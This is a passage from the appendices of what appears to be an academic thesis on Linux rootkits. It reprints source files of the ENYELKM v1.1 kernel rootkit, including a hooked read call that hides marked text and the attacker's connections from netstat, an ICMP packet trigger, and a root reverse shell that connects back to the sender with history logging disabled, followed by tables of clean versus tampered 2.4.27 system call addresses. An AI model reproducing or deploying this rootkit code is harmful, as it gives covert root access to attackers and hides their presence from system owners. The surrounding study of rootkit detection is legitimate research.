  { 
  /* devolvemos 2 para ocultar conexiones */ 
  kfree(buf); 
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  return(2); 
  } 
 } 
 
/* liberamos y retornamos -1 para q no haga nada */ 
kfree(buf); 
return(-1); 
 
} /********** fin de checkear() *************/ 
 
 
 
int hide_marcas(void *arg, int size) 
{ 
char *buf, *p1, *p2; 
int i, newret; 
 
 
/* reservamos y copiamos */ 
buf = (char *) kmalloc(size, GFP_KERNEL); 
__copy_from_user((void *) buf, (void *) arg, size); 
 
p1 = strstr(buf, MOPEN); 
p2 = strstr(buf, MCLOSE); 
p2 += strlen(MCLOSE); 
 
i = size - (p2 - buf); 
 
memmove((void *) p1, (void *) p2, i); 
newret = size - (p2 - p1); 
 
/* copiamos al user space, liberamos y retornamos */ 
__copy_to_user((void *) arg, (void *) buf, newret); 
kfree(buf); 
 
return(newret); 
 
}  /********** fin de hide_marcas **********/ 
 
 
 
int ocultar_linea(char *linea) 
{ 
char hide[128]; 
 
 
sprintf(hide, "%08X:", (unsigned int) global_ip); 
 
if (strstr(linea, hide) != NULL) 
 /* ocultamos todos los sockets con nuestra ip */ 
 return(1); 
 
/* no ocultamos nada */ 
return(0); 
 
} /******** fin de ocultar_linea *********/ 
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int copiar_linea(char *dst, char *from, int index) 
{ 
char *p, *p2, tmp; 
int i = 0; 
 
 
p = from; 
 
/* colocamos p en el principio de la linea */ 
while (i != index) 
 { 
 while (*p++ != 0x0a); 
 
 /* nos pasamos */ 
 if (p >= from+strlen(from)) 
  return(0); 
 
 i++; 
 } 
 
p2 = p; 
 
/* p2 al final de la linea y ponemos un null temporal */ 
while (*p2++ != 0x0a) 
 { 
 /* por si no tiene fin de linea */ 
 if(p2 >= from+strlen(from)) 
  break; 
 } 
 
tmp = *p2; 
*p2 = 0x00; 
 
/* copiamos y restauramos el char */ 
strcpy(dst, p); 
*p2 = tmp; 
 
return(1); 
 
} /*********** fin copiar_linea ***********/ 
 
 
 
int ocultar_netstat(char *arg, int size) 
{ 
char linea[256], *buf, *dst; 
int cont = 0, ret; 
 
 
/* no deberia ocurrir nunca */ 
if (size == 0)  
 return(size); 
 
/* reservamos y copiamos */ 
buf = (char *) kmalloc(size+1, GFP_KERNEL); 
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__copy_from_user((void *) buf, (void *) arg, size); 
buf[size] = 0x00; 
 
/* reservamos buffer destino temporal */ 
dst = (char *) kmalloc(size+16, GFP_KERNEL); 
dst[0] = 0x00; 
 
while (copiar_linea(linea, buf, cont++)) 
 if (!ocultar_linea(linea)) 
  strcat(dst, linea); 
 
/* nuevo size posible */ 
ret = strlen(dst); 
 
/* copiamos al user space, liberamos y retornamos */ 
__copy_to_user((void *) arg, (void *) dst, ret); 
kfree(buf); 
kfree(dst); 
 
return(ret); 
 
} /************ fin ocultar_netstat ************/ 
 
 
 
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes) 
{ 
struct pt_regs regs; 
struct file *fichero; 
int fput_needed; 
ssize_t ret; 
 
 
/* se hace 1 copia del proceso y se lanza la shell */ 
if (lanzar_shell == 1) 
    { 
 memset(&regs, 0, sizeof(regs)); 
  
 regs.xds = __USER_DS; 
 regs.xes = __USER_DS; 
 regs.orig_eax = -1; 
 regs.xcs = __KERNEL_CS; 
 regs.eflags = 0x286; 
 regs.eip = (unsigned long) reverse_shell; 
 
    lanzar_shell = 0; 
 
 (*my_do_fork)(0, 0, &regs, 0, NULL, NULL); 
    } 
 
/* seteamos read_activo a uno */ 
read_activo = 1; 
 
/* error de descriptor no valido o no abierto para lectura */ 
ret = -EBADF; 
 
fichero = e_fget_light(fd, &fput_needed); 
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if (fichero) 
 { 
 ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos); 
 
 /* aqui es donde analizamos el contenido y ejecutamos la 
 funcion correspondiente */ 
 
 switch(checkear(buf, ret, fichero)) 
     { 
     case 1: 
   /* marcas */ 
         ret = hide_marcas(buf, ret); 
         break; 
 
  case 2: 
   /* ocultar conexion */ 
   ret = ocultar_netstat(buf, ret); 
   break;   
 
     case -1: 
         /* no hacer nada */ 
         break; 
     } 
 
 fput_light(fichero, fput_needed); 
 } 
 
/* seteamos read_activo a cero */ 
read_activo = 0; 
 
return ret; 
 
} /********** fin hacked_read **********/ 
 
 
// EOF 
 
D.14:  Read.h 
 
/* funciones de read.c */ 
 
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes); 
int checkear(void *arg, int size); 
int hide_marcas(void *arg, int size); 
int ocultar_linea(char *linea); 
int ocultar_netstat(char *arg, int size); 
int copiar_linea(char *dst, char *from, int index); 
 
D.15:  Remoto.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
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 * < raise@enye-sec.org 
 * http://www.enye-sec.org > 
 */ 
 
#include <linux/types.h> 
#include <linux/stddef.h> 
#include <linux/unistd.h> 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
#include <linux/kernel.h> 
#include <linux/string.h> 
#include <linux/mm.h> 
#include <linux/slab.h> 
#include <linux/sched.h> 
#include <linux/in.h> 
#include <linux/skbuff.h> 
#include <linux/ip.h> 
#include <linux/netdevice.h> 
#include <linux/dirent.h> 
#include <asm/processor.h> 
#include <asm/uaccess.h> 
#include <asm/unistd.h> 
#include <asm/ioctls.h> 
#include <asm/termbits.h> 
#include "config.h" 
#include "remoto.h" 
 
#define __NR_e_exit __NR_exit 
 
 
/* variables globales */ 
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL }; 
extern short lanzar_shell; 
extern int errno; 
extern unsigned long global_ip; 
extern unsigned short global_port; 
int ptmx, epty; 
 
 
/* variables de entorno */ 
char *env[]={ 
    "TERM=linux", 
    "HOME=" HOME, 
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin" 
    ":/usr/local/sbin", 
    "HISTFILE=/dev/null", 
     NULL }; 
 
 
/* syscalls */ 
static inline _syscall2(int, kill, pid_t, pid, int, sig); 
static inline _syscall1(int, chdir, const char *, path); 
static inline _syscall3(int, write, int, fd, const char *, buf, off_t, 
count); 
static inline _syscall3(int, read, int, fd, char *, buf, off_t, count); 
static inline _syscall1(int, e_exit, int, exitcode); 
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static inline _syscall3(int, open, const char *, file, int, flag, int, 
mode); 
static inline _syscall1(int, close, int, fd); 
static inline _syscall2(int, dup2, int, oldfd, int, newfd); 
static inline _syscall2(int, socketcall, int, call, unsigned long *, 
args); 
static inline _syscall3(int, execve, const char *, filename, 
 const char **, argv, const char **, envp); 
static inline _syscall3(long, ioctl, unsigned int, fd, unsigned int, 
cmd, 
 unsigned long, arg); 
static inline _syscall5(int, _newselect, int, n, fd_set *, readfds, 
fd_set *, 
 writefds, fd_set *, exceptfds, struct timeval *, timeout); 
 
/* do_fork */ 
extern long (*my_do_fork)(unsigned long clone_flags, 
           unsigned long stack_start, 
           struct pt_regs *regs, 
           unsigned long stack_size, 
           int __user *parent_tidptr, 
           int __user *child_tidptr); 
 
 
 
int reverse_shell(void *ip) 
{ 
struct task_struct *ptr = current; 
struct sockaddr_in dire; 
struct pt_regs regs; 
mm_segment_t old_fs; 
unsigned long arg[3]; 
int soc, tmp_pid; 
unsigned char tmp; 
fd_set s_read; 
 
 
old_fs = get_fs(); 
 
ptr->uid = 0; 
ptr->euid = 0; 
ptr->gid = SGID; 
ptr->egid = 0; 
 
arg[0] = AF_INET; 
arg[1] = SOCK_STREAM; 
arg[2] = 0; 
 
set_fs(KERNEL_DS); 
 
if ((soc = socketcall(SYS_SOCKET, arg)) == -1) 
 { 
 set_fs(old_fs); 
 lanzar_shell = 1; 
 
    e_exit(-1); 
 return(-1); 
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    } 
 
memset((void *) &dire, 0, sizeof(dire)); 
 
dire.sin_family = AF_INET; 
dire.sin_port = htons((unsigned short) global_port); 
dire.sin_addr.s_addr = (unsigned long) global_ip; 
 
arg[0] = soc; 
arg[1] = (unsigned long) &dire; 
arg[2] = (unsigned long) sizeof(dire); 
 
if (socketcall(SYS_CONNECT, arg) == -1) 
 { 
 close(soc); 
 set_fs(old_fs); 
 lanzar_shell = 1; 
 
 e_exit(-1); 
 return(-1); 
 } 
 
/* pillamos tty */ 
epty = get_pty(); 
 
/* ejecutamos shell */ 
set_fs(old_fs); 
 
memset(&regs, 0, sizeof(regs)); 
regs.xds = __USER_DS; 
regs.xes = __USER_DS; 
regs.orig_eax = -1; 
regs.xcs = __KERNEL_CS; 
regs.eflags = 0x286; 
regs.eip = (unsigned long) ejecutar_shell; 
tmp_pid = (*my_do_fork)(0, 0, &regs, 0, NULL, NULL); 
 
set_fs(KERNEL_DS); 
 
 
while(1) 
 { 
 FD_ZERO(&s_read); 
 FD_SET(ptmx, &s_read); 
 FD_SET(soc, &s_read); 
 
 _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); 
 
 if (FD_ISSET(ptmx, &s_read)) 
  { 
  if (read(ptmx, &tmp, 1) == 0) 
   break; 
  write(soc, &tmp, 1); 
  } 
 
 if (FD_ISSET(soc, &s_read)) 
  { 
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  if (read(soc, &tmp, 1) == 0) 
   break; 
  write(ptmx, &tmp, 1); 
  } 
 
 } /* fin while */ 
 
 
/* matamos el proceso */ 
kill(tmp_pid, SIGKILL); 
 
/* salimos */ 
set_fs(old_fs); 
e_exit(0); 
 
return(-1); 
 
} /********** fin reverse_shell **********/ 
 
 
 
int capturar(struct sk_buff *skb, struct net_device *dev, struct 
packet_type *pkt, 
    struct net_device *dev2) 
{ 
unsigned short len; 
char buf[256]; 
int i; 
 
/* debe ser icmp */ 
if (skb->nh.iph->protocol != 1) 
 { 
 kfree_skb(skb); 
 return(0); 
 } 
 
/* el icmp debe ser para nosotros */ 
if (skb->pkt_type != PACKET_HOST) 
 { 
 kfree_skb(skb); 
 return(0); 
 } 
 
len = (unsigned short) skb->nh.iph->tot_len; 
len = htons(len); 
 
/* no es nuestro icmp */ 
if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short))) 
 { 
 kfree_skb(skb); 
 return(0); 
 } 
 
/* copiamos el packete */ 
memcpy (buf, (void *) skb->nh.iph, len); 
 
/* borramos los null */ 
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for (i=0; i < len; i++) 
 if (buf[i] == 0) 
  buf[i] = 1; 
buf[len] = 0; 
 
if(strstr(buf,ICMP_CLAVE) != NULL) 
  { 
  unsigned short *puerto; 
 
  puerto = (unsigned short *) 
     ((void *)(strstr(buf,ICMP_CLAVE) + 
strlen(ICMP_CLAVE))); 
 
  global_port = *puerto; 
  global_ip = skb->nh.iph->saddr; 
 
  lanzar_shell = 1; 
  } 
 
kfree_skb(skb); 
return(0); 
 
} /******** fin capturar() *********/ 
 
 
 
int get_pty(void) 
{ 
char buf[128]; 
int npty, lock = 0; 
 
ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); 
 
/* pillamos pty libre */ 
ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); 
 
/* bloqueamos */ 
ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); 
 
/* abrimos pty */ 
sprintf(buf, "/dev/pts/%d", npty); 
npty = open(buf, O_RDWR, S_IRWXU); 
 
/* devolvemos el descriptor */ 
return(npty); 
 
} /*************** fin de get_pty() **************/ 
 
 
 
void eco_off(void) 
{ 
struct termios term; 
 
ioctl(0, TCGETS, (unsigned long) &term); 
term.c_lflag = term.c_lflag || CLOCAL; 
ioctl(0, TCSETS, (unsigned long) &term); 
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} /************* fin de eco_off **************/ 
 
 
 
void ejecutar_shell(void) 
{ 
struct task_struct *ptr = current; 
mm_segment_t old_fs; 
 
old_fs = get_fs(); 
set_fs(KERNEL_DS); 
 
ptr->uid = 0; 
ptr->euid = 0; 
ptr->gid = SGID; 
ptr->egid = 0; 
 
/* dupeamos */ 
dup2(epty, 0); 
dup2(epty, 1); 
dup2(epty, 2); 
 
/* quitamos eco */ 
eco_off(); 
 
/* cambiamos a home */ 
chdir(HOME); 
 
execve(earg[0], (const char **) earg, (const char **) env); 
 
/* salimos en caso de error */ 
e_exit(-1); 
 
} /************ fin ejecutar_shell ***********/ 
 
 
 
/* EOF */ 
 
D.16:  Remoto.h 
 
/* funciones de remoto.c */ 
 
int capturar(struct sk_buff *skb, struct net_device *dev, struct 
packet_type *pkt, 
    struct net_device *dev2); 
int reverse_shell(void *ip); 
void ejecutar_shell(void); 
int get_pty(void); 
void eco_off(void); 
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APPENDIX E 

2.4.27 KERNEL SYSTEM CALL TABLE ADDRESS DATA 

(Referenced in Chapter III) 

E.1:  IA32 Kernel 2.4.27 Clean System Call Table 
 
 

0xc011f9e0 0xc0118850 0xc0105a00 0xc01357e0 
0xc0135920 0xc0135200 0xc0135350 0xc0118c20 
0xc01352a0 0xc0141ab0 0xc01416d0 0xc0105a90 
0xc0134840 0xc0119190 0xc0140ed0 0xc0134b70 
0xc0122140 0xc011f9e0 0xc013c990 0xc0135650 
0xc011d6a0 0xc014d880 0xc014cbb0 0xc0122260 
0xc0122680 0xc01191f0 0xc010a6f0 0xc011d650 
0xc013cb90 0xc010c940 0xc01344f0 0xc011f9e0 
0xc011f9e0 0xc0134720 0xc0112e00 0xc011f9e0 
0xc0136e50 0xc011ef30 0xc0142480 0xc0141120 
0xc0141460 0xc0142fc0 0xc010c210 0xc01208f0 
0xc011f9e0 0xc0124a70 0xc0122200 0xc01226e0 
0xc011f700 0xc01226b0 0xc0122710 0xc011be30 
0xc014cb20 0xc011f9e0 0xc01438e0 0xc0143310 
0xc011f9e0 0xc0120950 0xc011f9e0 0xc010c820 
0xc0121420 0xc01349f0 0xc013abc0 0xc0142ef0 
0xc011d6c0 0xc0120ac0 0xc0120b40 0xc0105ff0 
0xc011f690 0xc011f6b0 0xc0122220 0xc01221c0 
0xc0105e50 0xc011f3f0 0xc0120dc0 0xc01210c0 
0xc0121030 0xc01213e0 0xc0119270 0xc01193b0 
0xc0122560 0xc01225e0 0xc010c450 0xc01418c0 
0xc013ca90 0xc013cc90 0xc013d070 0xc0130a50 
0xc011fc00 0xc0144050 0xc010c320 0xc0125ae0 
0xc0133ec0 0xc0134080 0xc0134ad0 0xc0122180 
0xc011fb80 0xc011fa90 0xc011f9e0 0xc0133cd0 
0xc0133d60 0xc010b150 0xc023cdd0 0xc01154c0 
0xc0118f80 0xc0118da0 0xc013ca10 0xc013cb10 
0xc013cc10 0xc010c790 0xc010b260 0xc01353b0 
0xc011f9e0 0xc0109290 0xc0118870 0xc01305d0 
0xc0119070 0xc010c4e0 0xc0136ef0 0xc0106240 
0xc0105a30 0xc0120f10 0xc0120d40 0xc010b890 
0xc01198f0 0xc012a820 0xc011f410 0xc0116010 
0xc0116180 0xc0116870 0xc01172e0 0xc01501e0 
0xc0120a60 0xc0134900 0xc0139f10 0xc013a590 
0xc0114f40 0xc011f9e0 0xc0122520 0xc0122540 
0xc0135700 0xc01441a0 0xc01448c0 0xc0147000 
0xc0128a30 0xc0135d10 0xc0135d90 0xc0120ae0 
0xc0137050 0xc011a5d0 0xc012ae80 0xc012af40 
0xc012b060 0xc012b100 0xc0113050 0xc01130e0 
0xc0113020 0xc0113080 0xc0113190 0xc0113230 
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0xc0113260 0xc0113290 0xc011d770 0xc012ba60 
0xc0122280 0xc01222d0 0xc01093b0 0xc0117130 
0xc0144f00 0xc016ef00 0xc01223d0 0xc0122420 
0xc0121440 0xc0106340 0xc011f590 0xc011e990 
0xc011ebf0 0xc011ec10 0xc011f020 0xc0105ef0 
0xc0135e10 0xc0135f50 0xc0122100 0xc0149060 
0xc011be40 0xc011c070 0xc01060e0 0xc01280c0 
0xc011f9e0 0xc011f9e0 0xc0105a60 0xc0120fd0 
0xc010c270 0xc0134210 0xc01343c0 0xc013ce60 
0xc013cee0 0xc013cf60 0xc0134da0 0xc011d6e0 
0xc011d720 0xc011d700 0xc011d740 0xc0120010 
0xc011fe40 0xc0120bb0 0xc0120c20 0xc0134e00 
0xc0120360 0xc0120560 0xc0120610 0xc0120710 
0xc0134d40 0xc01201f0 0xc011ff20 0xc01207c0 
0xc0120880 0xc014daa0 0xc0129470 0xc01291e0 
0xc0144370 0xc0143370 0xc011f9e0 0xc011f9e0 
0xc011d760 0xc01282a0 0xc014eb30 0xc014eba0 
0xc014ec10 0xc014eda0 0xc014ee00 0xc014ee60 
0xc014ef90 0xc014eff0 0xc014f050 0xc014f150 
0xc014f1a0 0xc014f1f0 0xc011ef80 0xc0128140 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 

 
E.2:  IA32 Kernel 2.4.27 Malicious System Call Table 
 

0xc011f9e0 0xc0118850 0xd0878748 0xd0878a88 
0xc0135920 0xc0135200 0xc0135350 0xc0118c20 
0xc01352a0 0xc0141ab0 0xc01416d0 0xd0878ee8 
0xc0134840 0xc0119190 0xc0140ed0 0xc0134b70 
0xc0122140 0xc011f9e0 0xc013c990 0xc0135650 
0xc011d6a0 0xc014d880 0xc014cbb0 0xc0122260 
0xc0122680 0xc01191f0 0xc010a6f0 0xc011d650 
0xc013cb90 0xc010c940 0xc01344f0 0xc011f9e0 
0xc011f9e0 0xc0134720 0xc0112e00 0xc011f9e0 
0xc0136e50 0xd0878818 0xc0142480 0xc0141120 
0xc0141460 0xc0142fc0 0xc010c210 0xc01208f0 
0xc011f9e0 0xc0124a70 0xc0122200 0xc01226e0 
0xc011f700 0xc01226b0 0xc0122710 0xc011be30 
0xc014cb20 0xc011f9e0 0xd0878894 0xc0143310 
0xc011f9e0 0xc0120950 0xc011f9e0 0xc010c820 
0xc0121420 0xc01349f0 0xc013abc0 0xc0142ef0 
0xc011d6c0 0xc0120ac0 0xc0120b40 0xc0105ff0 
0xc011f690 0xc011f6b0 0xc0122220 0xc01221c0 
0xc0105e50 0xc011f3f0 0xc0120dc0 0xc01210c0 
0xc0121030 0xc01213e0 0xc0119270 0xd0878d90 
0xc0122560 0xc01225e0 0xc010c450 0xc01418c0 
0xc013ca90 0xc013cc90 0xc013d070 0xc0130a50 
0xc011fc00 0xc0144050 0xc010c320 0xc0125ae0 
0xc0133ec0 0xc0134080 0xc0134ad0 0xc0122180 
0xc011fb80 0xc011fa90 0xc011f9e0 0xc0133cd0 
0xc0133d60 0xc010b150 0xc023cdd0 0xc01154c0 
0xc0118f80 0xc0118da0 0xc013ca10 0xc013cb10 
0xc013cc10 0xc010c790 0xc010b260 0xc01353b0 
0xc011f9e0 0xc0109290 0xc0118870 0xc01305d0 
0xc0119070 0xc010c4e0 0xc0136ef0 0xc0106240 
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0xd08787b0 0xc0120f10 0xc0120d40 0xc010b890 
0xc01198f0 0xc012a820 0xc011f410 0xc0116010 
0xc0116180 0xc0116870 0xc01172e0 0xc01501e0 
0xc0120a60 0xc0134900 0xc0139f10 0xc013a590 
0xc0114f40 0xc011f9e0 0xc0122520 0xc0122540 
0xc0135700 0xc01448c0 0xc0147000 0xd0878498 
0xc0128a30 0xc0135d10 0xc0135d90 0xc0120ae0 
0xc0137050 0xc011a5d0 0xc012ae80 0xc012af40 
0xc012b060 0xc012b100 0xc0113050 0xc01130e0 
0xc0113020 0xc0113080 0xc0113190 0xc0113230 
0xc0113260 0xc0113290 0xc011d770 0xc012ba60 
0xc0122280 0xc01222d0 0xc01093b0 0xc0117130 
0xc0144f00 0xc016ef00 0xc01223d0 0xc0122420 
0xc0121440 0xc0106340 0xc011f590 0xc011e990 
0xc011ebf0 0xc011ec10 0xc011f020 0xc0105ef0 
0xc0135e10 0xc0135f50 0xc0122100 0xc0149060 
0xc011be40 0xc011c070 0xc01060e0 0xc01280c0 
0xc011f9e0 0xc011f9e0 0xc0105a60 0xc0120fd0 
0xc010c270 0xc0134210 0xc01343c0 0xc013ce60 
0xc013cee0 0xc013cf60 0xc0134da0 0xc011d6e0 
0xc011d720 0xc011d700 0xc011d740 0xc0120010 
0xc011fe40 0xc0120bb0 0xc0120c20 0xc0134e00 
0xc0120360 0xc0120560 0xc0120610 0xc0120710 
0xc0134d40 0xc01201f0 0xc011ff20 0xc01207c0 
0xc0120880 0xc014daa0 0xc0129470 0xc01291e0 
0xd08785d4 0xc0143370 0xc011f9e0 0xc011f9e0 
0xc011d760 0xc01282a0 0xc014eb30 0xc014eba0 
0xc014ec10 0xc014eda0 0xc014ee00 0xc014ee60 
0xc014ef90 0xc014eff0 0xc014f050 0xc014f150 
0xc014f1a0 0xc014f1f0 0xc011ef80 0xc0128140 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
0xc011f9e0 0xc011f9e0 0xc011f9e0 0xc011f9e0 
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